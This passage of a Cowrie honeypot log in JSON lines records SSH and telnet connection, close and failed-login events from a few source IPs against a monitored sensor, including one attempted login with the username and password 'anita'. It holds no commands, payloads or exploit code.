h-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.630039Z","src_ip":"159.203.92.129","session":"99e2f76e7929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anita","password":"anita","message":"login attempt [anita/anita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.647609Z","src_ip":"159.203.92.129","session":"99e2f76e7929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":55290,"dst_ip":"159.203.135.109","dst_port":23,"session":"9935f15107c5","protocol":"telnet","message":"New connection: 117.53.44.204:55290 (159.203.135.109:23) [session: 9935f15107c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.690976Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48362,"dst_ip":"159.203.135.109","dst_port":23,"session":"9914548271df","protocol":"telnet","message":"New connection: 23.254.167.244:48362 (159.203.135.109:23) [session: 9914548271df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.969714Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:57.653550Z","src_ip":"159.203.92.129","session":"99e2f76e7929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.28301692008972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:58.148626Z","src_ip":"117.53.44.204","session":"7a23b36ce4d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58862,"dst_ip":"159.203.135.109","dst_port":23,"session":"cac67abfd612","protocol":"telnet","message":"New connection: 209.159.146.115:58862 (159.203.135.109:23) [session: cac67abfd612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:58.200238Z"}
{"eventid":"cowrie.session.closed","duration":30.92427968978882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:58.285114Z","src_ip":"117.53.44.204","session":"aa675ad6436f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48435068130493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:59.125013Z","src_ip":"117.53.44.204","session":"318cfbee6ec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593973875045776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:59.282696Z","src_ip":"117.53.44.204","session":"24ab5ef39dcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52062,"dst_ip":"159.203.135.109","dst_port":23,"session":"c62346b0306c","protocol":"telnet","message":"New connection: 23.254.167.244:52062 (159.203.135.109:23) [session: c62346b0306c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:59.365894Z"}
{"eventid":"cowrie.session.closed","duration":31.055796146392822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:00.115182Z","src_ip":"117.53.44.204","session":"2d9eb97bcbc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658928394317627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:00.201775Z","src_ip":"117.53.44.204","session":"f12f4b468d0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":55304,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebb71ba765ad","protocol":"telnet","message":"New connection: 117.53.44.204:55304 (159.203.135.109:23) [session: ebb71ba765ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:00.977081Z"}
{"eventid":"cowrie.session.closed","duration":30.45781397819519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:01.119888Z","src_ip":"117.53.44.204","session":"95314ad9bea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54000,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c73f5a2b66b","protocol":"telnet","message":"New connection: 23.254.167.244:54000 (159.203.135.109:23) [session: 4c73f5a2b66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:01.159280Z"}
{"eventid":"cowrie.session.closed","duration":30.71578812599182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:01.192369Z","src_ip":"117.53.44.204","session":"35fa444a4b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50814,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f8383474662","protocol":"telnet","message":"New connection: 23.254.167.244:50814 (159.203.135.109:23) [session: 3f8383474662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:01.692766Z"}
{"eventid":"cowrie.session.closed","duration":34.70654511451721,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:01.941058Z","src_ip":"23.254.167.244","session":"78b1b88d4acb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":43836,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a9701ccd89","protocol":"telnet","message":"New connection: 117.53.44.204:43836 (159.203.135.109:23) [session: 58a9701ccd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:02.978591Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":43842,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cea5b279724","protocol":"telnet","message":"New connection: 117.53.44.204:43842 (159.203.135.109:23) [session: 7cea5b279724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:03.270840Z"}
{"eventid":"cowrie.session.closed","duration":30.559173583984375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:04.118128Z","src_ip":"117.53.44.204","session":"b1c71fa6a54b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30600070953369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:04.124675Z","src_ip":"117.53.44.204","session":"2d915c121cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88707661628723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:04.134369Z","src_ip":"117.53.44.204","session":"9c1279b17ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71868920326233,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:04.289093Z","src_ip":"23.254.167.244","session":"459c38638459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":43852,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e2767f378ea","protocol":"telnet","message":"New connection: 117.53.44.204:43852 (159.203.135.109:23) [session: 2e2767f378ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:04.473519Z"}
{"eventid":"cowrie.session.closed","duration":32.70072913169861,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:04.862383Z","src_ip":"209.159.146.115","session":"8164565b0c7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54181742668152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:05.163264Z","src_ip":"117.53.44.204","session":"ced5fd6bd25b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.67997932434082,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:05.470679Z","src_ip":"209.159.146.115","session":"ab1f37461092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":43858,"dst_ip":"159.203.135.109","dst_port":23,"session":"82dba9585c11","protocol":"telnet","message":"New connection: 117.53.44.204:43858 (159.203.135.109:23) [session: 82dba9585c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:05.718517Z"}
{"eventid":"cowrie.session.closed","duration":32.38011717796326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:05.757854Z","src_ip":"209.159.146.115","session":"6f709dad0bf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57646,"dst_ip":"159.203.135.109","dst_port":23,"session":"506e442d4b65","protocol":"telnet","message":"New connection: 23.254.167.244:57646 (159.203.135.109:23) [session: 506e442d4b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:05.987246Z"}
{"eventid":"cowrie.session.closed","duration":30.683584451675415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:06.118999Z","src_ip":"117.53.44.204","session":"2143a216ccb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":43860,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ff0c843bd00","protocol":"telnet","message":"New connection: 117.53.44.204:43860 (159.203.135.109:23) [session: 8ff0c843bd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:07.210804Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":43870,"dst_ip":"159.203.135.109","dst_port":23,"session":"a27e2955d1ef","protocol":"telnet","message":"New connection: 117.53.44.204:43870 (159.203.135.109:23) [session: a27e2955d1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:07.411865Z"}
{"eventid":"cowrie.session.closed","duration":30.335999727249146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:09.149858Z","src_ip":"117.53.44.204","session":"6da6fe0cf87f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62831473350525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:09.193993Z","src_ip":"117.53.44.204","session":"4f80f7c5d106","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278318166732788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:09.284023Z","src_ip":"117.53.44.204","session":"31f483f2b762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.52921915054321,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:09.466669Z","src_ip":"23.254.167.244","session":"9c92d07451cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35782,"dst_ip":"159.203.135.109","dst_port":23,"session":"0366de7eab6b","protocol":"telnet","message":"New connection: 23.254.167.244:35782 (159.203.135.109:23) [session: 0366de7eab6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:09.959472Z"}
{"eventid":"cowrie.session.closed","duration":39.60906195640564,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:10.014972Z","src_ip":"209.159.146.115","session":"aa9e0cdb04b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26136827468872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:10.135476Z","src_ip":"117.53.44.204","session":"371914ba7f02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30462336540222,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:10.377922Z","src_ip":"117.53.44.204","session":"ba6c37dec47a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.582237005233765,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:11.191154Z","src_ip":"23.254.167.244","session":"50a3fb393508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.24976706504822,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:11.595215Z","src_ip":"23.254.167.244","session":"a51db5d53a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.416649341583252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:12.170227Z","src_ip":"117.53.44.204","session":"fb9eed50b13c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908853769302368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:13.109832Z","src_ip":"117.53.44.204","session":"9b8535fc77d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40458,"dst_ip":"159.203.135.109","dst_port":23,"session":"901a421067e2","protocol":"telnet","message":"New connection: 209.159.146.115:40458 (159.203.135.109:23) [session: 901a421067e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:13.159137Z"}
{"eventid":"cowrie.session.closed","duration":41.17369771003723,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:13.392495Z","src_ip":"23.254.167.244","session":"a6fb6a95b80f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.363804578781128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:13.481802Z","src_ip":"117.53.44.204","session":"dd1d860387b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60046,"dst_ip":"159.203.135.109","dst_port":23,"session":"0140dceb35fc","protocol":"telnet","message":"New connection: 117.53.44.204:60046 (159.203.135.109:23) [session: 0140dceb35fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:14.641792Z"}
{"eventid":"cowrie.session.closed","duration":36.64090943336487,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:15.010194Z","src_ip":"185.26.126.47","session":"7790f4c3bdd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39340615272522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:16.788300Z","src_ip":"23.254.167.244","session":"e40c6f4dba6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1114444732666,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:16.814152Z","src_ip":"23.254.167.244","session":"09cafd2414d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22800922393799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:17.125180Z","src_ip":"117.53.44.204","session":"596404a5ecf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.487782955169678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:17.202982Z","src_ip":"117.53.44.204","session":"e58c34d64cdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73634171485901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:17.596848Z","src_ip":"117.53.44.204","session":"9a1557b23134","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744457244873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:18.133764Z","src_ip":"117.53.44.204","session":"3c9a68194e37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57931637763977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:18.181092Z","src_ip":"117.53.44.204","session":"9aac64a8fc91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66474223136902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:19.144598Z","src_ip":"117.53.44.204","session":"422f4240099a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36370,"dst_ip":"159.203.135.109","dst_port":23,"session":"084114918106","protocol":"telnet","message":"New connection: 209.159.146.115:36370 (159.203.135.109:23) [session: 084114918106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:19.772511Z"}
{"eventid":"cowrie.session.closed","duration":31.33979868888855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:19.903942Z","src_ip":"117.53.44.204","session":"4c55c32e0e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60058,"dst_ip":"159.203.135.109","dst_port":23,"session":"c77de7cf4bad","protocol":"telnet","message":"New connection: 117.53.44.204:60058 (159.203.135.109:23) [session: c77de7cf4bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:20.849831Z"}
{"eventid":"cowrie.session.closed","duration":30.53142809867859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:21.123068Z","src_ip":"117.53.44.204","session":"463b73186c05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.517550230026245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:21.163571Z","src_ip":"117.53.44.204","session":"bc947e4aec29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60064,"dst_ip":"159.203.135.109","dst_port":23,"session":"e579ef9193e8","protocol":"telnet","message":"New connection: 117.53.44.204:60064 (159.203.135.109:23) [session: e579ef9193e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:21.748528Z"}
{"eventid":"cowrie.session.closed","duration":33.44156885147095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:21.798598Z","src_ip":"209.159.146.115","session":"03d7090446ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60076,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a09cb0609b2","protocol":"telnet","message":"New connection: 117.53.44.204:60076 (159.203.135.109:23) [session: 2a09cb0609b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:22.384864Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60082,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a621c51ef60","protocol":"telnet","message":"New connection: 117.53.44.204:60082 (159.203.135.109:23) [session: 5a621c51ef60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:22.454157Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46282,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea34b4c72925","protocol":"telnet","message":"New connection: 209.159.146.115:46282 (159.203.135.109:23) [session: ea34b4c72925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:22.591249Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":48258,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf0409665d2","protocol":"telnet","message":"New connection: 117.53.44.204:48258 (159.203.135.109:23) [session: fdf0409665d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:22.749191Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":48270,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0b87e6f28eb","protocol":"telnet","message":"New connection: 117.53.44.204:48270 (159.203.135.109:23) [session: f0b87e6f28eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:23.609611Z"}
{"eventid":"cowrie.session.closed","duration":31.098159790039062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:24.152989Z","src_ip":"117.53.44.204","session":"c02de4db5bdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.69796133041382,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:24.921663Z","src_ip":"209.159.146.115","session":"c324e4d6200a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90556049346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:25.107936Z","src_ip":"117.53.44.204","session":"5fc40486773d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907612323760986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:25.158026Z","src_ip":"117.53.44.204","session":"dc03ca439d22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":48284,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c179b183bcc","protocol":"telnet","message":"New connection: 117.53.44.204:48284 (159.203.135.109:23) [session: 2c179b183bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:26.085893Z"}
{"eventid":"cowrie.session.closed","duration":30.998658895492554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:26.126156Z","src_ip":"117.53.44.204","session":"a3cea2c3150f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58852,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96c61e3392e","protocol":"telnet","message":"New connection: 23.254.167.244:58852 (159.203.135.109:23) [session: d96c61e3392e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:26.492046Z"}
{"eventid":"cowrie.session.closed","duration":30.48244333267212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:27.173296Z","src_ip":"117.53.44.204","session":"9935f15107c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197725772857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:27.303216Z","src_ip":"117.53.44.204","session":"e37040f1ea38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34332,"dst_ip":"159.203.135.109","dst_port":23,"session":"ade9304a1951","protocol":"telnet","message":"New connection: 23.254.167.244:34332 (159.203.135.109:23) [session: ade9304a1951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:29.187706Z"}
{"eventid":"cowrie.session.closed","duration":32.85972285270691,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:08:29.829317Z","src_ip":"23.254.167.244","session":"9914548271df","protocol":"telnet"}
